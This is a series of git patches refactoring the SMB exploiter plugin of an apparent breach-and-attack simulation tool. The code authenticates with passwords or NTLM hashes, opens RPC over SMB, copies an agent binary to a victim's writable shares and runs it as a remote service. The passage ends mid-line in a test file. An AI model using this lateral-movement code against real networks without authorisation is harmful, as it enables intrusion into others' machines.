rpc_transport.setRemoteHost(str(host.ip)) rpc_transport.set_credentials( - username=credentials.identity.username, - password=secret_for_type(credentials, Password), + username=self._authenticated_credentials.identity.username, + password=secret_for_type(self._authenticated_credentials, Password), domain="", - lmhash=secret_for_type(credentials, LMHash), - nthash=secret_for_type(credentials, NTHash), + lmhash=secret_for_type(self._authenticated_credentials, LMHash), + nthash=secret_for_type(self._authenticated_credentials, NTHash), ) rpc_transport.set_kerberos(False) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py index 9b6db594d02..fa745c329c8 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py @@ -1,6 +1,6 @@ import logging from pathlib import PurePath -from typing import List, Optional, Set, Tuple, Type +from typing import List, Set, Tuple, Type from common import OperatingSystem from common.credentials import Credentials @@ -57,7 +57,6 @@ def __init__( ): self._host = host self._options = options - self._authenticated_credentials: Optional[Credentials] = None self._smb_client = smb_client def login(self, credentials: Credentials, tags: Set[str]): @@ -71,10 +70,8 @@ def login(self, credentials: Credentials, tags: Set[str]): error_message = f"Failed to authenticate over SMB with {credentials}: {err}" raise RemoteAuthenticationError(error_message) - self._authenticated_credentials = credentials - def _raise_if_not_authenticated(self, error_type: Type[Exception]): - if self._authenticated_credentials is None: + if not self._smb_client.connected(): raise error_type( "This operation cannot be performed until authentication is successful" ) @@ -92,7 +89,6 @@ def execute_detached(self, command: str, tags: Set[str]): command, self._host, SMB_PORTS, - self._authenticated_credentials, self._options.smb_connect_timeout, ) except Exception as err: diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploit_client.py b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploit_client.py index f2ff302429a..d7a3dcf4fb5 100644 --- a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploit_client.py +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploit_client.py @@ -42,7 +42,12 @@ @pytest.fixture def mock_smb_client(): client = MagicMock(spec=SMBClient) - client.connected.return_value = True + client.connected.return_value = False + + def set_connected(value: bool): + client.connected.return_value = value + + client.connect_with_user.side_effect = lambda *_, **__: set_connected(True) return client From c1906b1970b1c40a38383fa4019c09083cbecfeb Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 22 Mar 2023 15:09:54 -0400 Subject: [PATCH 0867/1338] SMB: Extract method _copy_file_to_share() from copy_file() --- .../exploiters/smb/src/smb_exploit_client.py | 33 ++++++++++--------- 1 file changed, 18 insertions(+), 15 deletions(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py index fa745c329c8..b99641d0ca3 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py @@ -106,24 +106,13 @@ def copy_file(self, file: bytes, destination_path: PurePath, tags: Set[str]): # 3. I check to see if the local path is a subpath of any of the shares # a. If it is, I copy the file to the share tags.update(SHARE_DISCOVERY_TAGS) - for share in self._query_shares(): - if share.path not in destination_path.parents: - continue - + target_shares = filter(lambda s: s.path in destination_path.parents, self._query_shares()) + for share in target_shares: clean_destination = destination_path.relative_to(share.path) logger.debug(f"Clean destination: {clean_destination}") - try: - self._connect_to_share(share) - self._smb_client.set_timeout(self._options.agent_binary_upload_timeout) - - tags.update(COPY_FILE_TAGS) - self._smb_client.send_file(share.name, clean_destination, file) - - logger.info( - f"Copied monkey agent to remote share '{share.name}' " - f"[{str(share.path)}] on victim {self._host.ip}" - ) + try: + self._copy_file_to_share(file, share, clean_destination, tags) return except Exception as err: error_message = ( @@ -151,6 +140,20 @@ def _query_shares(self) -> Tuple[ShareInfo, ...]: return tuple(writable_shares) + def _copy_file_to_share( + self, file: bytes, share: ShareInfo, destination_path: PurePath, tags: Set[str] + ): + self._connect_to_share(share) + self._smb_client.set_timeout(self._options.agent_binary_upload_timeout) + + tags.update(COPY_FILE_TAGS) + self._smb_client.send_file(share.name, destination_path, file) + + logger.info( + f"Copied monkey agent to remote share '{share.name}' " + f"[{str(share.path)}] on victim {self._host.ip}" + ) + def _connect_to_share(self, share: ShareInfo): """ Gets the SMB share From e14d6a19414a5f61d3e0de27a99044cff9b04b04 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 22 Mar 2023 15:11:50 -0400 Subject: [PATCH 0868/1338] SMB: Use a generator comprehension instead of filter() --- monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py index b99641d0ca3..b91ef0f9bc6 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py @@ -106,7 +106,7 @@ def copy_file(self, file: bytes, destination_path: PurePath, tags: Set[str]): # 3. I check to see if the local path is a subpath of any of the shares # a. If it is, I copy the file to the share tags.update(SHARE_DISCOVERY_TAGS) - target_shares = filter(lambda s: s.path in destination_path.parents, self._query_shares()) + target_shares = (s for s in self._query_shares() if s.path in destination_path.parents) for share in target_shares: clean_destination = destination_path.relative_to(share.path) logger.debug(f"Clean destination: {clean_destination}") From f75002df5ccb778124b1d74d721f275f72bc29df Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 22 Mar 2023 15:23:58 -0400 Subject: [PATCH 0869/1338] SMB: Fix the implementation of SMBClient.connected() SMBClient.isLoginRequired() really tells us a property of the connection, not the state. --- monkey/agent_plugins/exploiters/smb/src/smb_client.py | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_client.py b/monkey/agent_plugins/exploiters/smb/src/smb_client.py index 48b0e8d1e4a..03f85786dbf 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_client.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_client.py @@ -60,10 +60,13 @@ class SMBClient: def __init__(self): self._smb_connection: Optional[SMBConnection] = None + # TODO: SMBConnection has a getCredentials() method. Can we use taht instead of storing + # self._authenticated_credentials? self._authenticated_credentials: Optional[Credentials] = None + self._authenticated = False def connected(self) -> bool: - return self._smb_connection is not None and not self._smb_connection.isLoginRequired() + return self._authenticated def connect_with_user(self, host: TargetHost, credentials: Credentials, timeout: float): """ @@ -113,6 +116,7 @@ def _smb_login(self, credentials: Credentials): lmhash=secret_for_type(credentials, LMHash), nthash=secret_for_type(credentials, NTHash), ) + self._authenticated = True self._authenticated_credentials = credentials def _logout_guest(self): From 547f7cca322f1b021b00349db71af232c1f5c2ad Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Wed, 22 Mar 2023 19:36:01 +0000 Subject: [PATCH 0870/1338] SMB: Try to use the existing SMB connection for RPC --- .../exploiters/smb/src/smb_client.py | 32 +++++++++++++++++-- 1 file changed, 29 insertions(+), 3 deletions(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_client.py b/monkey/agent_plugins/exploiters/smb/src/smb_client.py index 03f85786dbf..a361ea8a2c7 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_client.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_client.py @@ -1,4 +1,5 @@ import logging +from contextlib import suppress from dataclasses import dataclass from io import BytesIO from pathlib import PureWindowsPath @@ -222,9 +223,24 @@ def run_service( scmr.hRCloseServiceHandle(rpc, service_handle) def _rpc_connect( - self, host: TargetHost, ports: Sequence[NetworkPort], timeout: float - ) -> transport.DCERPCTransport: + self, + host: TargetHost, + ports: Sequence[NetworkPort], + timeout: float, + ) -> DCERPC_v5: """Connects to the remote host and returns the RPC connection""" + + # Try to use the existing SMB connection + if self._smb_connection: + smb_transport = transport.SMBTransport( + self._smb_connection.getRemoteName(), + filename="\\svcctl", + remote_host=self._smb_connection.getRemoteHost(), + smb_connection=self._smb_connection, + ) + with suppress(SessionError): + return SMBClient._rpc_connect_with_transport(smb_transport, timeout) + for port in ports: try: return self._rpc_connect_to_port(host, port, timeout) @@ -234,7 +250,7 @@ def _rpc_connect( def _rpc_connect_to_port( self, host: TargetHost, port: NetworkPort, timeout: float - ) -> transport.DCERPCTransport: + ) -> DCERPC_v5: """ Connects to the remote host over the specified port and returns the RPC connection. :raises Exception: If connection fails @@ -250,6 +266,16 @@ def _rpc_connect_to_port( lmhash=secret_for_type(self._authenticated_credentials, LMHash), nthash=secret_for_type(self._authenticated_credentials, NTHash), ) + return SMBClient._rpc_connect_with_transport(rpc_transport, timeout) + + @staticmethod + def _rpc_connect_with_transport( + rpc_transport: transport.DCERPCTransport, timeout: float + ) -> DCERPC_v5: + """ + Creates a DCE/RPC connection over an existing transport stream + :raises Exception: If connection fails + """ rpc_transport.set_kerberos(False) rpc = SMBClient._dce_rpc_connect(rpc_transport) From d64b1634dbd6a71671d384dc26e38a367a120835 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Wed, 22 Mar 2023 20:23:31 +0000 Subject: [PATCH 0871/1338] SMB: Reuse credentials from successful connection --- .../agent_plugins/exploiters/smb/src/smb_client.py | 14 +++----------- 1 file changed, 3 insertions(+), 11 deletions(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_client.py b/monkey/agent_plugins/exploiters/smb/src/smb_client.py index a361ea8a2c7..3e1ad392de1 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_client.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_client.py @@ -61,9 +61,7 @@ class SMBClient: def __init__(self): self._smb_connection: Optional[SMBConnection] = None - # TODO: SMBConnection has a getCredentials() method. Can we use taht instead of storing - # self._authenticated_credentials? - self._authenticated_credentials: Optional[Credentials] = None + self._authenticated_credentials: Any = None self._authenticated = False def connected(self) -> bool: @@ -118,7 +116,7 @@ def _smb_login(self, credentials: Credentials): nthash=secret_for_type(credentials, NTHash), ) self._authenticated = True - self._authenticated_credentials = credentials + self._authenticated_credentials = self._get_smb_connection().getCredentials() def _logout_guest(self): """Return True if logged in as guest. Raise SessionError if logout fails""" @@ -259,13 +257,7 @@ def _rpc_connect_to_port( rpc_transport.set_connect_timeout(timeout) rpc_transport.set_dport(int(port)) rpc_transport.setRemoteHost(str(host.ip)) - rpc_transport.set_credentials( - username=self._authenticated_credentials.identity.username, - password=secret_for_type(self._authenticated_credentials, Password), - domain="", - lmhash=secret_for_type(self._authenticated_credentials, LMHash), - nthash=secret_for_type(self._authenticated_credentials, NTHash), - ) + rpc_transport.set_credentials(*self._authenticated_credentials) return SMBClient._rpc_connect_with_transport(rpc_transport, timeout) @staticmethod From 6de7467345b86cab67e5912ea514946b386e2b6c Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Wed, 22 Mar 2023 20:43:29 +0000 Subject: [PATCH 0872/1338] SMB: Simplify reusing existing SMB connection --- .../exploiters/smb/src/smb_client.py | 21 +++++-------------- 1 file changed, 5 insertions(+), 16 deletions(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_client.py b/monkey/agent_plugins/exploiters/smb/src/smb_client.py index 3e1ad392de1..e43258afbfd 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_client.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_client.py @@ -1,5 +1,4 @@ import logging -from contextlib import suppress from dataclasses import dataclass from io import BytesIO from pathlib import PureWindowsPath @@ -229,15 +228,15 @@ def _rpc_connect( """Connects to the remote host and returns the RPC connection""" # Try to use the existing SMB connection - if self._smb_connection: + try: smb_transport = transport.SMBTransport( - self._smb_connection.getRemoteName(), + self._get_smb_connection().getRemoteName(), filename="\\svcctl", - remote_host=self._smb_connection.getRemoteHost(), smb_connection=self._smb_connection, ) - with suppress(SessionError): - return SMBClient._rpc_connect_with_transport(smb_transport, timeout) + return SMBClient._dce_rpc_connect(smb_transport) + except Exception as err: + logger.debug(f"Failed to use existing SMB connection for RPC: {err}") for port in ports: try: @@ -258,16 +257,6 @@ def _rpc_connect_to_port( rpc_transport.set_dport(int(port)) rpc_transport.setRemoteHost(str(host.ip)) rpc_transport.set_credentials(*self._authenticated_credentials) - return SMBClient._rpc_connect_with_transport(rpc_transport, timeout) - - @staticmethod - def _rpc_connect_with_transport( - rpc_transport: transport.DCERPCTransport, timeout: float - ) -> DCERPC_v5: - """ - Creates a DCE/RPC connection over an existing transport stream - :raises Exception: If connection fails - """ rpc_transport.set_kerberos(False) rpc = SMBClient._dce_rpc_connect(rpc_transport) From 32f9a9f3ddb7fae53d86a3c5b4fccc72abb33972 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Thu, 23 Mar 2023 11:49:38 +0200 Subject: [PATCH 0873/1338] SMB: Improve readability of login argument generation --- .../exploiters/smb/src/smb_client.py | 46 +++++++++++-------- .../exploiters/smb/test_smb_client.py | 22 ++++++--- 2 files changed, 43 insertions(+), 25 deletions(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_client.py b/monkey/agent_plugins/exploiters/smb/src/smb_client.py index e43258afbfd..11cd671fc97 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_client.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_client.py @@ -2,13 +2,13 @@ from dataclasses import dataclass from io import BytesIO from pathlib import PureWindowsPath -from typing import Any, Dict, Optional, Sequence, Tuple, Type +from typing import Any, Dict, Optional, Sequence, Tuple from impacket.dcerpc.v5 import scmr, srvs, transport from impacket.dcerpc.v5.rpcrt import DCERPC_v5 from impacket.smbconnection import SMB_DIALECT, SessionError, SMBConnection -from common.credentials import Credentials, LMHash, NTHash, Password, Secret, get_plaintext +from common.credentials import Credentials, LMHash, NTHash, Password, get_plaintext from common.types import NetworkPort from infection_monkey.i_puppet import TargetHost @@ -37,22 +37,17 @@ def from_dict(share_info_dict: Dict[str, Any]) -> "ShareInfo": ) -def get_secret(secret: Secret): +def get_plaintext_secret(credentials: Credentials) -> Optional[str]: + secret = credentials.secret if isinstance(secret, Password): - return secret.password + secret = secret.password elif isinstance(secret, LMHash): - return secret.lm_hash + secret = secret.lm_hash elif isinstance(secret, NTHash): - return secret.nt_hash - return None - - -def secret_for_type(credentials: Credentials, secret_type: Type) -> str: - return ( - get_plaintext(get_secret(credentials.secret)) - if type(credentials.secret) == secret_type - else "" - ) + secret = secret.nt_hash + else: + secret = "" + return get_plaintext(secret) class SMBClient: @@ -107,16 +102,31 @@ def _create_smb_connection(self, host: TargetHost): def _smb_login(self, credentials: Credentials): """Raise SessionError if login fails""" + self._get_smb_connection().login( user=credentials.identity.username, - password=secret_for_type(credentials, Password), domain="", - lmhash=secret_for_type(credentials, LMHash), - nthash=secret_for_type(credentials, NTHash), + **self._build_args_for_secrets(credentials), ) self._authenticated = True self._authenticated_credentials = self._get_smb_connection().getCredentials() + @staticmethod + def _build_args_for_secrets(credentials: Credentials) -> Dict[str, str]: + args = {"password": ""} + + if isinstance(credentials.secret, Password): + secret_type = "password" + elif isinstance(credentials.secret, LMHash): + secret_type = "lmhash" + elif isinstance(credentials.secret, NTHash): + secret_type = "nthash" + else: + return args + + args.update({secret_type: get_plaintext_secret(credentials)}) + return args + def _logout_guest(self): """Return True if logged in as guest. Raise SessionError if logout fails""" smb_connection = self._get_smb_connection() diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_client.py b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_client.py index a9c59d7b7da..56c786d0c82 100644 --- a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_client.py +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_client.py @@ -1,21 +1,29 @@ -from agent_plugins.exploiters.smb.src.smb_client import secret_for_type +from agent_plugins.exploiters.smb.src.smb_client import SMBClient from tests.data_for_tests.propagation_credentials import LM_HASH, NT_HASH, PASSWORD_1, USERNAME from common.credentials import Credentials, LMHash, NTHash, Password, Username -def test_secret_for_type__returns_secret_for_password(): +def test_build_args_for_secrets__returns_secret_for_password(): credentials = Credentials( identity=Username(username=USERNAME), secret=Password(password=PASSWORD_1) ) - assert secret_for_type(credentials, Password) == PASSWORD_1.get_secret_value() + assert SMBClient._build_args_for_secrets(credentials) == { + "password": PASSWORD_1.get_secret_value() + } -def test_secret_for_type__returns_secret_for_lm_hash(): +def test_build_args_for_secrets__returns_secret_for_lm_hash(): credentials = Credentials(identity=Username(username=USERNAME), secret=LMHash(lm_hash=LM_HASH)) - assert secret_for_type(credentials, LMHash) == LM_HASH.get_secret_value() + assert SMBClient._build_args_for_secrets(credentials) == { + "password": "", + "lmhash": LM_HASH.get_secret_value(), + } -def test_secret_for_type__returns_secret_for_nt_hash(): +def test_build_args_for_secrets__returns_secret_for_nt_hash(): credentials = Credentials(identity=Username(username=USERNAME), secret=NTHash(nt_hash=NT_HASH)) - assert secret_for_type(credentials, NTHash) == NT_HASH.get_secret_value() + assert SMBClient._build_args_for_secrets(credentials) == { + "password": "", + "nthash": NT_HASH.get_secret_value(), + } From 3ce2ab1d4785da98551983db2a04f6a8ed0a508c Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 23 Mar 2023 12:46:20 +0100 Subject: [PATCH 0874/1338] SMB: Remove unneeded comments in SMBExploitClient --- .../agent_plugins/exploiters/smb/src/smb_exploit_client.py | 6 ------ 1 file changed, 6 deletions(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py index b91ef0f9bc6..50acacd60c4 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py @@ -101,10 +101,6 @@ def copy_file(self, file: bytes, destination_path: PurePath, tags: Set[str]): f"Trying to copy monkey file to [{destination_path}] on victim {self._host.ip}" ) - # 1. I accept a local path - # 2. I query for shares on the remote machine - # 3. I check to see if the local path is a subpath of any of the shares - # a. If it is, I copy the file to the share tags.update(SHARE_DISCOVERY_TAGS) target_shares = (s for s in self._query_shares() if s.path in destination_path.parents) for share in target_shares: @@ -171,7 +167,5 @@ def _connect_to_share(self, share: ShareInfo): raise RemoteFileCopyError(err) def get_writable_paths(self) -> List[PurePath]: - # 1. I query for shares on the remote machine - # 2. I output the local paths for each share logger.debug("Retrieving writable paths") return [info.path for info in self._query_shares()] From 07e22f6a7477bfb5e3c81371cfe33b902486f505 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 23 Mar 2023 09:30:03 -0400 Subject: [PATCH 0875/1338] SMB: Refactor ShareInfo.from_dict() --- .../exploiters/smb/src/smb_client.py | 20 +++++++++---------- 1 file changed, 10 insertions(+), 10 deletions(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_client.py b/monkey/agent_plugins/exploiters/smb/src/smb_client.py index 11cd671fc97..4277f2483b4 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_client.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_client.py @@ -27,15 +27,6 @@ class ShareInfo: current_uses: int max_uses: int - @staticmethod - def from_dict(share_info_dict: Dict[str, Any]) -> "ShareInfo": - return ShareInfo( - share_info_dict["shi2_netname"].strip("\0 "), - PureWindowsPath(share_info_dict["shi2_path"].strip("\0 ")), - share_info_dict["shi2_current_uses"], - share_info_dict["shi2_max_uses"], - ) - def get_plaintext_secret(credentials: Credentials) -> Optional[str]: secret = credentials.secret @@ -153,11 +144,20 @@ def query_shared_resources(self) -> Tuple[ShareInfo, ...]: try: shares = self._execute_rpc_call(srvs.hNetrShareEnum, 2) shares = shares["InfoStruct"]["ShareInfo"]["Level2"]["Buffer"] - return tuple(ShareInfo.from_dict(share) for share in shares) + return tuple(SMBClient._impacket_dict_to_share_info(share) for share in shares) except Exception as err: logger.debug(f"Failed to query shared resources: {err}") return () + @staticmethod + def _impacket_dict_to_share_info(share_info_dict: Dict[str, Any]) -> ShareInfo: + return ShareInfo( + share_info_dict["shi2_netname"].strip("\0 "), + PureWindowsPath(share_info_dict["shi2_path"].strip("\0 ")), + share_info_dict["shi2_current_uses"], + share_info_dict["shi2_max_uses"], + ) + def _execute_rpc_call(self, rpc_func, *args) -> Any: """ Executes an RPC call using DCE/RPC transport protocol From 5fe5dde9c7533560ae71da12c898fef559e7a65a Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 23 Mar 2023 09:33:17 -0400 Subject: [PATCH 0876/1338] SMB: Fix typing errors in get_plaintext_secret() --- .../exploiters/smb/src/smb_client.py | 22 ++++++++++--------- 1 file changed, 12 insertions(+), 10 deletions(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_client.py b/monkey/agent_plugins/exploiters/smb/src/smb_client.py index 4277f2483b4..787588409bb 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_client.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_client.py @@ -8,7 +8,7 @@ from impacket.dcerpc.v5.rpcrt import DCERPC_v5 from impacket.smbconnection import SMB_DIALECT, SessionError, SMBConnection -from common.credentials import Credentials, LMHash, NTHash, Password, get_plaintext +from common.credentials import Credentials, LMHash, NTHash, Password from common.types import NetworkPort from infection_monkey.i_puppet import TargetHost @@ -28,17 +28,19 @@ class ShareInfo: max_uses: int -def get_plaintext_secret(credentials: Credentials) -> Optional[str]: +def get_plaintext_secret(credentials: Credentials) -> str: secret = credentials.secret + if isinstance(secret, Password): - secret = secret.password - elif isinstance(secret, LMHash): - secret = secret.lm_hash - elif isinstance(secret, NTHash): - secret = secret.nt_hash - else: - secret = "" - return get_plaintext(secret) + return secret.password.get_secret_value() + + if isinstance(secret, LMHash): + return secret.lm_hash.get_secret_value() + + if isinstance(secret, NTHash): + return secret.nt_hash.get_secret_value() + + return "" class SMBClient: From 287bfed20ee1aeae6eb9790c9b0fbd3060e94cde Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 23 Mar 2023 13:21:14 -0400 Subject: [PATCH 0877/1338] UT: Rename test_smb_{exploit,remote_access}_client.py --- ...est_smb_exploit_client.py => test_smb_remote_access_client.py} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename monkey/tests/unit_tests/agent_plugins/exploiters/smb/{test_smb_exploit_client.py => test_smb_remote_access_client.py} (100%) diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploit_client.py b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_remote_access_client.py similarity index 100% rename from monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploit_client.py rename to monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_remote_access_client.py From d67d2cc22e3b3a536b011ffffb77c6b3b6698372 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Thu, 23 Mar 2023 15:24:54 +0000 Subject: [PATCH 0878/1338] SMB: Rename SMBExploitClient -> SMBRemoteAccessClient --- .../exploiters/smb/src/plugin.py | 4 +-- ..._client.py => smb_remote_access_client.py} | 2 +- ...py => smb_remote_access_client_factory.py} | 8 ++--- .../exploiters/smb/test_smb_exploit_client.py | 32 +++++++++---------- 4 files changed, 23 insertions(+), 23 deletions(-) rename monkey/agent_plugins/exploiters/smb/src/{smb_exploit_client.py => smb_remote_access_client.py} (99%) rename monkey/agent_plugins/exploiters/smb/src/{smb_exploit_client_factory.py => smb_remote_access_client_factory.py} (58%) diff --git a/monkey/agent_plugins/exploiters/smb/src/plugin.py b/monkey/agent_plugins/exploiters/smb/src/plugin.py index 181096dfb53..2642c5946ad 100644 --- a/monkey/agent_plugins/exploiters/smb/src/plugin.py +++ b/monkey/agent_plugins/exploiters/smb/src/plugin.py @@ -21,8 +21,8 @@ from infection_monkey.propagation_credentials_repository import IPropagationCredentialsRepository from .smb_command_builder import build_smb_command -from .smb_exploit_client_factory import SMBExploitClientFactory from .smb_options import SMBOptions +from .smb_remote_access_client_factory import SMBRemoteAccessClientFactory logger = logging.getLogger(__name__) @@ -68,7 +68,7 @@ def run( return ExploiterResultData(error_message=msg) command_builder = partial(build_smb_command, servers, current_depth) - smb_exploit_client_factory = SMBExploitClientFactory(host, smb_options) + smb_exploit_client_factory = SMBRemoteAccessClientFactory(host, smb_options) brute_force_exploiter = BruteForceExploiter( self._plugin_name, diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py b/monkey/agent_plugins/exploiters/smb/src/smb_remote_access_client.py similarity index 99% rename from monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py rename to monkey/agent_plugins/exploiters/smb/src/smb_remote_access_client.py index 50acacd60c4..45da715959b 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_remote_access_client.py @@ -46,7 +46,7 @@ SMB_PORTS = [NetworkPort(139), NetworkPort(445)] -class SMBExploitClient(IRemoteAccessClient): +class SMBRemoteAccessClient(IRemoteAccessClient): """Manages the SMB connection, Exploitation events""" def __init__( diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client_factory.py b/monkey/agent_plugins/exploiters/smb/src/smb_remote_access_client_factory.py similarity index 58% rename from monkey/agent_plugins/exploiters/smb/src/smb_exploit_client_factory.py rename to monkey/agent_plugins/exploiters/smb/src/smb_remote_access_client_factory.py index 063f9ab78a4..cf519c1463c 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client_factory.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_remote_access_client_factory.py @@ -4,11 +4,11 @@ from infection_monkey.i_puppet import TargetHost from .smb_client import SMBClient -from .smb_exploit_client import SMBExploitClient from .smb_options import SMBOptions +from .smb_remote_access_client import SMBRemoteAccessClient -class SMBExploitClientFactory(IRemoteAccessClientFactory): +class SMBRemoteAccessClientFactory(IRemoteAccessClientFactory): def __init__( self, host: TargetHost, @@ -17,5 +17,5 @@ def __init__( self._host = host self._options = options - def create(self, **kwargs: Any) -> SMBExploitClient: - return SMBExploitClient(self._host, self._options, SMBClient()) + def create(self, **kwargs: Any) -> SMBRemoteAccessClient: + return SMBRemoteAccessClient(self._host, self._options, SMBClient()) diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploit_client.py b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploit_client.py index d7a3dcf4fb5..14232681a42 100644 --- a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploit_client.py +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploit_client.py @@ -5,14 +5,14 @@ import pytest from agent_plugins.exploiters.smb.src.smb_client import ShareInfo, SMBClient -from agent_plugins.exploiters.smb.src.smb_exploit_client import ( +from agent_plugins.exploiters.smb.src.smb_options import SMBOptions +from agent_plugins.exploiters.smb.src.smb_remote_access_client import ( COPY_FILE_TAGS, EXECUTION_TAGS, LOGIN_TAGS, SHARE_DISCOVERY_TAGS, - SMBExploitClient, + SMBRemoteAccessClient, ) -from agent_plugins.exploiters.smb.src.smb_options import SMBOptions from tests.data_for_tests.propagation_credentials import FULL_CREDENTIALS from common import OperatingSystem @@ -57,12 +57,12 @@ def mock_agent_binary_repository() -> IAgentBinaryRepository: @pytest.fixture -def smb_exploit_client(mock_smb_client) -> SMBExploitClient: - return SMBExploitClient(TARGET_HOST, SMBOptions(), mock_smb_client) +def smb_exploit_client(mock_smb_client) -> SMBRemoteAccessClient: + return SMBRemoteAccessClient(TARGET_HOST, SMBOptions(), mock_smb_client) def test_login__succeeds( - smb_exploit_client: SMBExploitClient, + smb_exploit_client: SMBRemoteAccessClient, ): tags = EXPLOITER_TAGS.copy() @@ -73,7 +73,7 @@ def test_login__succeeds( def test_login__fails( mock_smb_client: SMBClient, - smb_exploit_client: SMBExploitClient, + smb_exploit_client: SMBRemoteAccessClient, ): tags = EXPLOITER_TAGS.copy() mock_smb_client.connect_with_user.side_effect = Exception() @@ -85,7 +85,7 @@ def test_login__fails( def test_execute__fails_if_not_authenticated( - smb_exploit_client: SMBExploitClient, + smb_exploit_client: SMBRemoteAccessClient, ): tags = EXPLOITER_TAGS.copy() @@ -97,7 +97,7 @@ def test_execute__fails_if_not_authenticated( def test_execute__fails_if_command_not_executed( mock_smb_client: SMBClient, - smb_exploit_client: SMBExploitClient, + smb_exploit_client: SMBRemoteAccessClient, ): tags = EXPLOITER_TAGS.copy() mock_smb_client.run_service.side_effect = Exception("file") @@ -111,7 +111,7 @@ def test_execute__fails_if_command_not_executed( def test_execute__succeeds( mock_smb_client: SMBClient, - smb_exploit_client: SMBExploitClient, + smb_exploit_client: SMBRemoteAccessClient, ): tags = EXPLOITER_TAGS.copy() @@ -123,7 +123,7 @@ def test_execute__succeeds( def test_copy_file__fails_if_not_authenticated( mock_smb_client: SMBClient, - smb_exploit_client: SMBExploitClient, + smb_exploit_client: SMBRemoteAccessClient, ): tags = EXPLOITER_TAGS.copy() mock_smb_client.connected.return_value = False @@ -136,7 +136,7 @@ def test_copy_file__fails_if_not_authenticated( def test_copy_file__fails_if_no_shares_found( mock_smb_client: SMBClient, - smb_exploit_client: SMBExploitClient, + smb_exploit_client: SMBRemoteAccessClient, ): tags = EXPLOITER_TAGS.copy() mock_smb_client.query_shared_resources.return_value = () @@ -150,7 +150,7 @@ def test_copy_file__fails_if_no_shares_found( def test_copy_file__fails_if_unable_to_connect_to_share( mock_smb_client: SMBClient, - smb_exploit_client: SMBExploitClient, + smb_exploit_client: 